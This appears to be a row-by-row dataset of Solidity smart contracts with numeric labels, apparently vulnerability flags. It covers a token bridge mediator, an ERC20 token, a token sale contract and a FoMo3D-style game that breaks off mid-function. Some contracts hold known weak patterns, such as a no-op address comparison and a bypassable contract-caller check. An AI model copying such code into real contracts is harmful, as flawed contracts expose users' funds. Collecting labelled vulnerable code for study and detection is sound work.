_handleTokens(token, false, _recipient, _value);
_receiverCallback(_recipient, token, _value, _data);
}
function handleNativeTokens(
address _token,
address _recipient,
uint256 _value
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
}
function handleNativeTokensAndCall(
address _token,
address _recipient,
uint256 _value,
bytes memory _data
) external onlyMediator {
_ackBridgedTokenDeploy(_token);
_handleTokens(_token, true, _recipient, _value);
_receiverCallback(_recipient, _token, _value, _data);
}
function isRegisteredAsNativeToken(address _token) public view returns (bool) {
return isTokenRegistered(_token) && nativeTokenAddress(_token) == address(0);
}
function executeActionOnFixedTokens(
address _token,
address _recipient,
uint256 _value
) internal override {
_releaseTokens(nativeTokenAddress(_token) == address(0), _token, _recipient, _value, _value);
}
function setCustomTokenAddressPair(address _nativeToken, address _bridgedToken) external onlyOwner {
require(!isTokenRegistered(_bridgedToken));
require(nativeTokenAddress(_bridgedToken) == address(0));
require(bridgedTokenAddress(_nativeToken) == address(0));
IBurnableMintableERC677Token(_bridgedToken).safeMint(address(this), 1);
IBurnableMintableERC677Token(_bridgedToken).burn(1);
_setTokenAddressPair(_nativeToken, _bridgedToken);
}
function fixMediatorBalance(address _token, address _receiver)
external
onlyIfUpgradeabilityOwner
validAddress(_receiver)
{
require(isRegisteredAsNativeToken(_token));
uint256 balance = IERC677(_token).balanceOf(address(this));
uint256 expectedBalance = mediatorBalance(_token);
require(balance > expectedBalance);
uint256 diff = balance - expectedBalance;
uint256 available = maxAvailablePerTx(_token);
require(available > 0);
if (diff > available) {
diff = available;
}
addTotalSpentPerDay(_token, getCurrentDay(), diff);
bytes memory data = _prepareMessage(address(0), _token, _receiver, diff, new bytes(0));
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _receiver, diff);
}
function claimTokens(address _token, address _to) external onlyIfUpgradeabilityOwner {
require(_token == address(0) || !isTokenRegistered(_token));
claimValues(_token, _to);
}
function claimTokensFromTokenContract(
address _bridgedToken,
address _token,
address _to
) external onlyIfUpgradeabilityOwner {
IBurnableMintableERC677Token(_bridgedToken).claimTokens(_token, _to);
}
function _recordBridgeOperation(
bytes32 _messageId,
address _token,
address _sender,
uint256 _value
) internal {
setMessageToken(_messageId, _token);
setMessageRecipient(_messageId, _sender);
setMessageValue(_messageId, _value);
emit TokensBridgingInitiated(_token, _sender, _value, _messageId);
}
function _prepareMessage(
address _nativeToken,
address _token,
address _receiver,
uint256 _value,
bytes memory _data
) internal returns (bytes memory) {
bool withData = _data.length > 0 || msg.sig == this.relayTokensAndCall.selector;
if (_nativeToken == address(0)) {
_setMediatorBalance(_token, mediatorBalance(_token).add(_value));
if (isBridgedTokenDeployAcknowledged(_token)) {
return
withData
? abi.encodeWithSelector(
this.handleBridgedTokensAndCall.selector,
_token,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleBridgedTokens.selector, _token, _receiver, _value);
}
uint8 decimals = TokenReader.readDecimals(_token);
string memory name = TokenReader.readName(_token);
string memory symbol = TokenReader.readSymbol(_token);
require(bytes(name).length > 0 || bytes(symbol).length > 0);
return
withData
? abi.encodeWithSelector(
this.deployAndHandleBridgedTokensAndCall.selector,
_token,
name,
symbol,
decimals,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(
this.deployAndHandleBridgedTokens.selector,
_token,
name,
symbol,
decimals,
_receiver,
_value
);
}
IBurnableMintableERC677Token(_token).burn(_value);
return
withData
? abi.encodeWithSelector(
this.handleNativeTokensAndCall.selector,
_nativeToken,
_receiver,
_value,
_data
)
: abi.encodeWithSelector(this.handleNativeTokens.selector, _nativeToken, _receiver, _value);
}
function _getMinterFor(address _token) internal pure virtual returns (IBurnableMintableERC677Token) {
return IBurnableMintableERC677Token(_token);
}
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal virtual {
if (_isNative) {
IERC677(_token).safeTransfer(_recipient, _value);
_setMediatorBalance(_token, mediatorBalance(_token).sub(_balanceChange));
} else {
_getMinterFor(_token).safeMint(_recipient, _value);
}
}
function _getBridgedTokenOrDeploy(
address _token,
string calldata _name,
string calldata _symbol,
uint8 _decimals
) internal returns (address) {
address bridgedToken = bridgedTokenAddress(_token);
if (bridgedToken == address(0)) {
string memory name = _name;
string memory symbol = _symbol;
require(bytes(name).length > 0 || bytes(symbol).length > 0);
if (bytes(name).length == 0) {
name = symbol;
} else if (bytes(symbol).length == 0) {
symbol = name;
}
name = _transformName(name);
bridgedToken = tokenFactory().deploy(name, symbol, _decimals, bridgeContract().sourceChainId());
_setTokenAddressPair(_token, bridgedToken);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
} else if (!isTokenRegistered(bridgedToken)) {
require(IERC20Metadata(bridgedToken).decimals() == _decimals);
_initializeTokenBridgeLimits(bridgedToken, _decimals);
}
return bridgedToken;
}
function _receiverCallback(
address _recipient,
address _token,
uint256 _value,
bytes memory _data
) internal {
if (Address.isContract(_recipient)) {
_recipient.call(abi.encodeWithSelector(IERC20Receiver.onTokenBridged.selector, _token, _value, _data));
}
}
function _transformName(string memory _name) internal view returns (string memory) {
string memory result = string(abi.encodePacked(_name, SUFFIX));
uint256 size = SUFFIX_SIZE;
assembly {
mstore(result, add(mload(_name), size))
}
return result;
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal virtual;
}
pragma solidity 0.7.5;
abstract contract GasLimitManager is BasicAMBMediator {
bytes32 internal constant REQUEST_GAS_LIMIT = 0x2dfd6c9f781bb6bbb5369c114e949b69ebb440ef3d4dd6b2836225eb1dc3a2be;
function setRequestGasLimit(uint256 _gasLimit) external onlyOwner {
_setRequestGasLimit(_gasLimit);
}
function requestGasLimit() public view returns (uint256) {
return uintStorage[REQUEST_GAS_LIMIT];
}
function _setRequestGasLimit(uint256 _gasLimit) internal {
require(_gasLimit <= maxGasPerTx());
uintStorage[REQUEST_GAS_LIMIT] = _gasLimit;
}
}
pragma solidity 0.7.5;
contract ForeignOmnibridge is BasicOmnibridge, GasLimitManager {
using SafeERC20 for IERC677;
using SafeMint for IBurnableMintableERC677Token;
using SafeMath for uint256;
constructor(string memory _suffix) BasicOmnibridge(_suffix) {}
function initialize(
address _bridgeContract,
address _mediatorContract,
uint256[3] calldata _dailyLimitMaxPerTxMinPerTxArray,
uint256[2] calldata _executionDailyLimitExecutionMaxPerTxArray,
uint256 _requestGasLimit,
address _owner,
address _tokenFactory
) external onlyRelevantSender returns (bool) {
require(!isInitialized());
_setBridgeContract(_bridgeContract);
_setMediatorContractOnOtherSide(_mediatorContract);
_setLimits(address(0), _dailyLimitMaxPerTxMinPerTxArray);
_setExecutionLimits(address(0), _executionDailyLimitExecutionMaxPerTxArray);
_setRequestGasLimit(_requestGasLimit);
_setOwner(_owner);
_setTokenFactory(_tokenFactory);
setInitialize();
return isInitialized();
}
function upgradeToReverseMode(address _tokenFactory) external {
require(msg.sender == address(this));
_setTokenFactory(_tokenFactory);
}
function _handleTokens(
address _token,
bool _isNative,
address _recipient,
uint256 _value
) internal override {
require(!lock());
require(withinExecutionLimit(_token, _value));
addTotalExecutedPerDay(_token, getCurrentDay(), _value);
_releaseTokens(_isNative, _token, _recipient, _value, _value);
emit TokensBridged(_token, _recipient, _value, messageId());
}
function bridgeSpecificActionsOnTokenTransfer(
address _token,
address _from,
address _receiver,
uint256 _value,
bytes memory _data
) internal virtual override {
require(_receiver != address(0) && _receiver != mediatorContractOnOtherSide());
if (!isTokenRegistered(_token)) {
uint8 decimals = TokenReader.readDecimals(_token);
_initializeTokenBridgeLimits(_token, decimals);
}
require(withinLimit(_token, _value));
addTotalSpentPerDay(_token, getCurrentDay(), _value);
bytes memory data = _prepareMessage(nativeTokenAddress(_token), _token, _receiver, _value, _data);
bytes32 _messageId = _passMessage(data, true);
_recordBridgeOperation(_messageId, _token, _from, _value);
}
function _releaseTokens(
bool _isNative,
address _token,
address _recipient,
uint256 _value,
uint256 _balanceChange
) internal override {
if (_isNative) {
uint256 balance = mediatorBalance(_token);
_setMediatorBalance(_token, balance.sub(_balanceChange));
IERC677(_token).safeTransfer(_recipient, _value);
} else {
_getMinterFor(_token).safeMint(_recipient, _value);
}
}
function _passMessage(bytes memory _data, bool _useOracleLane) internal override returns (bytes32) {
(_useOracleLane);
return bridgeContract().requireToPassMessage(mediatorContractOnOtherSide(), _data, requestGasLimit());
}
} | 0 | 1,644 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract PXTToken is StandardToken {
string public symbol = 'PXT';
string public name = 'Populous XBRL token';
uint8 public constant decimals = 8;
function PXTToken(uint256 _totalSupply) public {
address owner = msg.sender;
totalSupply = _totalSupply;
balances[owner] = _totalSupply;
Transfer(address(0), owner, _totalSupply);
}
} | 1 | 4,387 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b,"");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0,"");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a,"");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a,"");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0,"");
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
_owner = msg.sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(),"owner required");
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),"");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CryptojoyTokenSeller is Ownable {
using SafeMath for uint;
uint8 public constant decimals = 18;
uint public miningSupply;
uint constant MAGNITUDE = 10**6;
uint constant LOG1DOT5 = 405465;
uint constant THREE_SECOND= 15 * MAGNITUDE / 10;
uint public a;
uint public b;
uint public c;
uint public blockInterval;
uint public startBlockNumber;
address public platform;
uint public lowerBoundaryETH;
uint public upperBoundaryETH;
uint public supplyPerInterval;
uint public miningInterval;
uint public tokenMint = 0;
EIP20Interface public token;
modifier isWithinLimits(uint _eth) {
require(_eth >= lowerBoundaryETH, "pocket lint: not a valid currency");
require(_eth <= upperBoundaryETH, "no vitalik, no");
_;
}
constructor(
address tokenAddress,
uint _miningInterval,
uint _supplyPerInterval,
uint _a,
uint _b,
uint _c,
uint _blockInterval,
uint _startBlockNumber,
address _platform,
uint _lowerBoundaryETH,
uint _upperBoundaryETH)
public {
require(_lowerBoundaryETH < _upperBoundaryETH, "Lower boundary is larger than upper boundary!");
token = EIP20Interface(tokenAddress);
a = _a;
b = _b;
c = _c;
blockInterval = _blockInterval;
startBlockNumber = _startBlockNumber;
platform = _platform;
lowerBoundaryETH = _lowerBoundaryETH;
upperBoundaryETH = _upperBoundaryETH;
miningInterval = _miningInterval;
supplyPerInterval = _supplyPerInterval;
}
function changeWithdraw(address _platform) public onlyOwner {
platform = _platform;
}
function changeRate(uint _c) public onlyOwner {
c = _c;
}
function withdraw(address _to) public onlyOwner returns (bool success) {
uint remainBalance = token.balanceOf(address(this));
return token.transfer(_to, remainBalance);
}
function buy() public isWithinLimits(msg.value) payable {
uint currentStage = getCurrentStage();
require(tokenMint < currentStage.mul(supplyPerInterval), "No token avaiable");
uint currentPrice = calculatePrice(currentStage);
uint amountToBuy = msg.value.mul(10**uint(decimals)).div(currentPrice);
if(tokenMint.add(amountToBuy) > currentStage.mul(supplyPerInterval)) {
amountToBuy = currentStage.mul(supplyPerInterval).sub(tokenMint);
token.transfer(msg.sender, amountToBuy);
tokenMint = tokenMint.add(amountToBuy);
uint refund = msg.value.sub(amountToBuy.mul(currentPrice).div(10**uint(decimals)));
msg.sender.transfer(refund);
platform.transfer(msg.value.sub(refund));
} else {
token.transfer(msg.sender, amountToBuy);
tokenMint = tokenMint.add(amountToBuy);
platform.transfer(msg.value);
}
}
function() public payable {
buy();
}
function tokenRemain() public view returns (uint) {
uint currentStage = getCurrentStage();
return currentStage * supplyPerInterval - tokenMint;
}
function getCurrentStage() public view returns (uint) {
require(block.number >= startBlockNumber, "Not started yet");
uint currentStage = (block.number.sub(startBlockNumber)).div(blockInterval) + 1;
if (currentStage <= miningInterval) {
return currentStage;
} else {
return miningInterval;
}
}
function calculatePrice(uint stage) public view returns (uint) {
return a.mul(log(stage.mul(MAGNITUDE))).div(MAGNITUDE).add(b).div(c);
}
function log(uint input) internal pure returns (uint) {
uint x = input;
require(x >= MAGNITUDE, "");
if (x == MAGNITUDE) {
return 0;
}
uint result = 0;
while (x >= THREE_SECOND) {
result += LOG1DOT5;
x = x * 2 / 3;
}
x = x - MAGNITUDE;
uint y = x;
uint i = 1;
while (i < 10) {
result = result + (y / i);
i += 1;
y = y * x / MAGNITUDE;
result = result - (y / i);
i += 1;
y = y * x / MAGNITUDE;
}
return result;
}
} | 1 | 3,481 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 devAmount,
uint256 genAmount,
uint256 potAmount
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 devAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 devAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 devAmount,
uint256 genAmount
);
}
contract modularLong is F3Devents {}
contract F3Dx is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
address constant private AwardPool = 0xb14D7b0ec631Daf0cF02d69860974df04987a9f8;
address constant private DeveloperRewards = 0xb14D7b0ec631Daf0cF02d69860974df04987a9f8;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xdAc532cA5598Ee19a2dfC1244c7608C766c6C415);
string constant public name = "FoMo3D X";
string constant public symbol = "F3Dx";
uint256 constant private rndInit_ = 1 hours;
uint256 constant private rndInc_ = 30 seconds;
uint256 constant private rndMax_ = 8 hours;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
F3Ddatasets.KeyFee public fees_;
F3Ddatasets.PotSplit public potSplit_;
constructor()
public
{
fees_ = F3Ddatasets.KeyFee(50,10);
potSplit_ = F3Ddatasets.PotSplit(40,10);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet.");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, _eventData_);
}
function buyXid()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, _eventData_);
}
function buyXaddr()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, _eventData_);
}
function buyXname()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, _eventData_);
}
function reLoadXid(uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
reLoadCore(_pID, _eth, _eventData_);
}
function reLoadXaddr(uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
reLoadCore(_pID, _eth, _eventData_);
}
function reLoadXname(uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
reLoadCore(_pID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.devAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
bool _isNewPlayer = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _paid, now);
}
function registerNameXaddr(string _nameString, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
bool _isNewPlayer = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _paid, now);
}
function registerNameXname(string _nameString, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
bool _isNewPlayer = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _all);
uint256 _pID = pIDxAddr_[_addr];
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) )
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd))
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(50)).div(100)).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].plyr * 10),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.devAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.devAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
_eventData_ = distributeExternal(_eth, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _keys, _eventData_);
endTx(_pID, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name)
external
{
